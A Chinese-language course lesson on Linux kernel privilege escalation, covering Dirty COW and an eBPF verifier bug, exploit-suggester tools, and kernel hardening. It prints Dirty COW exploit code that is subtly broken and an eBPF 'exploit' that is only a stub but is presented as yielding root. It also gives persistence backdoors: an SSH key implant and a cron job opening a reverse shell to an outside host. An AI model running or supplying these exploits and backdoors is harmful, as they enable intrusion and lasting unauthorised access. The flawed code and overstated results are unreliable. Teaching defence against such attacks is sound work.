提权专题
1、Linux内核漏洞提权
一、课程目标
本节课主要学习Linux系统中利用内核漏洞进行提权的技术和方法。内核漏洞提权是权限提升中最有效但也最具挑战性的方法之一。通过本课的学习,你将能够:
- 理解Linux内核漏洞提权的基本原理
- 掌握常见的Linux内核漏洞类型和利用方法
- 学会使用现有的提权工具和exp
- 了解内核漏洞提权的防护措施
- 熟悉提权后的权限维持技术
二、名词解释表
| 名词 | 解释 |
|---|---|
| 内核漏洞 | Linux内核中存在的安全缺陷 |
| 提权 | 提升当前用户的权限级别 |
| Root权限 | Linux系统中的最高权限 |
| CVE编号 | Common Vulnerabilities and Exposures编号 |
| Exploit | 利用漏洞的代码或工具 |
| 本地提权 | 在本地系统上进行的权限提升 |
| 内核模块 | 可加载到内核中的功能模块 |
| KASLR | Kernel Address Space Layout Randomization |
三、技术原理
3.1 内核漏洞概述
Linux内核漏洞是指Linux操作系统内核中存在的安全缺陷,攻击者可以利用这些漏洞从普通用户权限提升到root权限。
3.1.1、内核漏洞类型
- 缓冲区溢出:内核代码中的缓冲区溢出漏洞
- 竞态条件:多线程或多进程间的竞争条件漏洞
- 空指针解引用:访问空指针导致的内核崩溃
- 整数溢出:整数运算溢出导致的内存破坏
- UAF漏洞:Use After Free内存释放后使用漏洞
3.2 提权原理
3.2.1、内核态与用户态
- 用户态:普通进程运行的模式,权限受限
- 内核态:内核运行的模式,拥有最高权限
3.2.2、提权过程
- 利用内核漏洞触发内核态执行
- 在内核态中修改进程权限信息
- 返回用户态后获得提升的权限
3.3 常见漏洞利用技术
3.3.1、ROP技术
// ROP (Return Oriented Programming)示例
// 通过链接现有代码片段构造执行流
unsigned long rop_chain[] = {
kernel_base + 0x12345, // gadget 1
kernel_base + 0x67890, // gadget 2
// ... 更多gadgets
};
3.3.2、KASLR绕过
# 检查KASLR是否启用
cat /proc/cmdline | grep kaslr
# 收集内核信息绕过KASLR
cat /proc/kallsyms | grep prepare_kernel_cred
四、常见内核漏洞
4.1 CVE-2016-5195 (Dirty COW)
4.1.1、漏洞原理
Dirty COW (Copy-On-Write)是一个竞争条件漏洞,存在于Linux内核的内存子系统中。
4.1.2、影响范围
- Linux内核版本 2.6.22 到 4.8.3
- 几乎所有Linux发行版都受影响
4.1.3、利用代码示例
#include <stdio.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <unistd.h>
#include <sys/stat.h>
#include <string.h>
#include <stdint.h>
void *map;
int f;
struct stat st;
char *name;
void *madviseThread(void *arg) {
int i, c = 0;
for (i = 0; i < 2000000; i++) {
c += madvise(map, 100, MADV_DONTNEED);
}
printf("madvise %d\n\n", c);
}
void *procselfmemThread(void *arg) {
char *str = "root:x:0:0:root:/root:/bin/bash\n";
int f = open("/proc/self/mem", O_RDWR);
int i, c = 0;
for (i = 0; i < 2000000; i++) {
lseek(f, (uintptr_t) map, SEEK_SET);
c += write(f, str, strlen(str));
}
printf("procselfmem %d\n\n", c);
}
int main(int argc, char *argv[]) {
if (argc < 3) {
fprintf(stderr, "Usage: %s <file> <new_content>\n", argv[0]);
return 1;
}
pthread_t pth1, pth2;
f = open("/etc/passwd", O_RDONLY);
fstat(f, &st);
name = argv[1];
map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, f, 0);
pthread_create(&pth1, NULL, madviseThread, NULL);
pthread_create(&pth2, NULL, procselfmemThread, NULL);
pthread_join(pth1, NULL);
pthread_join(pth2, NULL);
return 0;
}
4.2 CVE-2017-16995
4.2.1、漏洞原理
这是一个eBPF验证器中的漏洞,可以导致任意代码执行。
4.2.2、利用示例
// 简化的eBPF利用代码
#include <linux/bpf.h>
#include <unistd.h>
#include <sys/syscall.h>
#define BPF_JMP32 0x06
#define BPF_K 0x00
struct bpf_insn insns[] = {
// 构造恶意的eBPF程序
{BPF_JMP32 | BPF_K, 0, 0, 0xffffffff},
// ... 更多指令
};
int main() {
union bpf_attr attr = {
.prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
.insn_cnt = sizeof(insns) / sizeof(insns[0]),
.insns = (__u64) insns,
.license = (__u64) "GPL",
};
int fd = syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr));
if (fd < 0) {
perror("bpf");
return 1;
}
printf("eBPF program loaded successfully\n");
close(fd);
return 0;
}
五、提权工具使用
5.1 Linux Exploit Suggester
5.1.1、工具介绍
Linux Exploit Suggester是一个自动化工具,可以根据内核版本推荐合适的提权exp。
5.1.2、使用方法
# 下载工具
wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh
# 添加执行权限
chmod +x linux-exploit-suggester.sh
# 运行工具
./linux-exploit-suggester.sh
# 指定内核版本
./linux-exploit-suggester.sh -k 4.4.0-21-generic
5.1.3、输出示例
Available information:
Kernel version: 4.4.0-21-generic
Architecture: x86_64
Distribution: ubuntu
May be vulnerable to:
[+] CVE-2016-5195 (Dirty COW)
[+] CVE-2017-1000364 (Stack Clash)
[+] CVE-2017-16995 (eBPF Verifier)
5.2 BeRoot
5.2.1、工具介绍
BeRoot是一个全面的提权检查工具,支持Windows和Linux系统。
5.2.2、使用方法
# 下载BeRoot
git clone https://github.com/AlessandroZ/BeRoot.git
# 运行Linux版本
python beroot.py --help
# 检查系统配置
python beroot.py --check
5.3 LinEnum
5.3.1、工具介绍
LinEnum是一个bash脚本,用于枚举Linux系统信息并寻找提权机会。
5.3.2、使用方法
# 下载LinEnum
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
# 添加执行权限
chmod +x LinEnum.sh
# 运行扫描
./LinEnum.sh -t -s -r report.txt
六、手工提权方法
6.1 内核版本识别
# 查看内核版本
uname -a
uname -r
# 查看发行版信息
cat /etc/os-release
cat /etc/issue
# 查看系统架构
uname -m
getconf LONG_BIT
6.2 编译环境检查
# 检查GCC版本
gcc --version
# 检查make工具
make --version
# 检查编译依赖
dpkg -l | grep build-essential # Debian/Ubuntu
rpm -qa | grep gcc # CentOS/RHEL
6.3 漏洞利用编译
# 编译Dirty COW exp
gcc -pthread dirtycow.c -o dirtycow
# 编译时指定架构
gcc -m32 -pthread dirtycow.c -o dirtycow32
# 静态编译避免依赖问题
gcc -static -pthread dirtycow.c -o dirtycow_static
七、权限维持
7.1 Rootkit检测
7.1.1、检查隐藏进程
# 使用chkproc检查隐藏进程
ps aux | sort -k2 -n | uniq -f1 -d
# 检查/proc目录
ls /proc | grep -E '^[0-9]+$'
7.1.2、检查隐藏文件
# 检查隐藏文件
find / -name ".*" -type f 2>/dev/null | grep -v -E '/proc|/sys'
# 检查SUID文件
find / -perm -4000 2>/dev/null
7.2 后门植入
7.2.1、SSH后门
# 添加SSH公钥
mkdir -p ~/.ssh
echo "ssh-rsa AAAAB3NzaC1yc2E..." >> ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys
# 修改SSH配置
echo "PermitRootLogin yes" >> /etc/ssh/sshd_config
7.2.2、Cron后门
# 添加定时任务后门
echo "*/5 * * * * /bin/bash -c '/bin/bash -i >& /dev/tcp/192.168.1.100/4444 0>&1'" | crontab -
八、防护措施
8.1 内核安全配置
8.1.1、启用KASLR
# 检查KASLR状态
cat /proc/cmdline | grep kaslr
# 在GRUB中启用KASLR
# 编辑/etc/default/grub
GRUB_CMDLINE_LINUX="kaslr"
update-grub
8.1.2、启用SMEP/SMAP
# 检查SMEP支持
cat /proc/cpuinfo | grep smep
# 检查SMAP支持
cat /proc/cpuinfo | grep smap
8.2 系统加固
8.2.1、内核参数调优
# 编辑/etc/sysctl.conf
kernel.kptr_restrict = 1
kernel.dmesg_restrict = 1
kernel.perf_event_paranoid = 2
# 应用配置
sysctl -p
8.2.2、文件系统权限
# 检查敏感文件权限
ls -la /etc/passwd /etc/shadow /etc/sudoers
# 设置严格权限
chmod 644 /etc/passwd
chmod 640 /etc/shadow
chmod 440 /etc/sudoers
九、实战案例
9.1 Dirty COW提权实战
9.1.1、环境准备
# 检查内核版本
uname -r
# 输出: 4.4.0-21-generic
# 确认漏洞存在
cat /proc/version
# 确认版本在受影响范围内
9.1.2、Exploit执行
# 编译exp
gcc -pthread dirtycow.c -o dirtycow
# 运行exp
./dirtycow /etc/passwd "root2:x:0:0:root:/root:/bin/bash\n"
# 验证提权
su root2
id
# 输出: uid=0(root) gid=0(root) groups=0(root)
9.2 eBPF漏洞提权
9.2.1、检查漏洞
# 检查内核版本
uname -r
# 确认版本存在CVE-2017-16995漏洞
# 检查eBPF支持
grep CONFIG_BPF /boot/config-$(uname -r)
9.2.2、利用过程
# 编译并运行exp
gcc ebpf_exploit.c -o ebpf_exploit
./ebpf_exploit
# 验证权限
id
# 检查是否获得root权限
十、故障排除
10.1 编译问题
10.1.1、缺少头文件
# Ubuntu/Debian
sudo apt-get install linux-headers-$(uname -r) build-essential
# CentOS/RHEL
sudo yum install kernel-devel kernel-headers gcc make
10.1.2、架构不匹配
# 检查目标架构
file exploit_binary
# 编译指定架构
gcc -m32 exploit.c -o exploit32 # 32位
gcc -m64 exploit.c -o exploit64 # 64位
10.2 执行失败
10.2.1、权限不足
# 检查文件权限
ls -la exploit
# 添加执行权限
chmod +x exploit
10.2.2、SELinux阻止
# 临时禁用SELinux
setenforce 0
# 检查SELinux状态
getenforce
十一、课后作业
-
基础练习:
- 在实验环境中搭建存在已知漏洞的Linux系统
- 使用Linux Exploit Suggester识别可利用漏洞
- 成功执行Dirty COW提权实验
- 验证提权结果并清理环境
-
进阶练习:
- 分析CVE-2017-16995漏洞原理
- 编写简单的内核漏洞利用代码
- 实现权限维持技术
- 配置系统防护措施
-
思考题:
- 内核漏洞提权相比其他提权方法的优势和劣势是什么?
- 如何有效防范内核漏洞提权攻击?
- 现代Linux内核采用了哪些安全机制来防止提权?
-
扩展阅读:
- 研究最新的Linux内核漏洞
- 了解内核漏洞挖掘技术
- 学习内核安全防护机制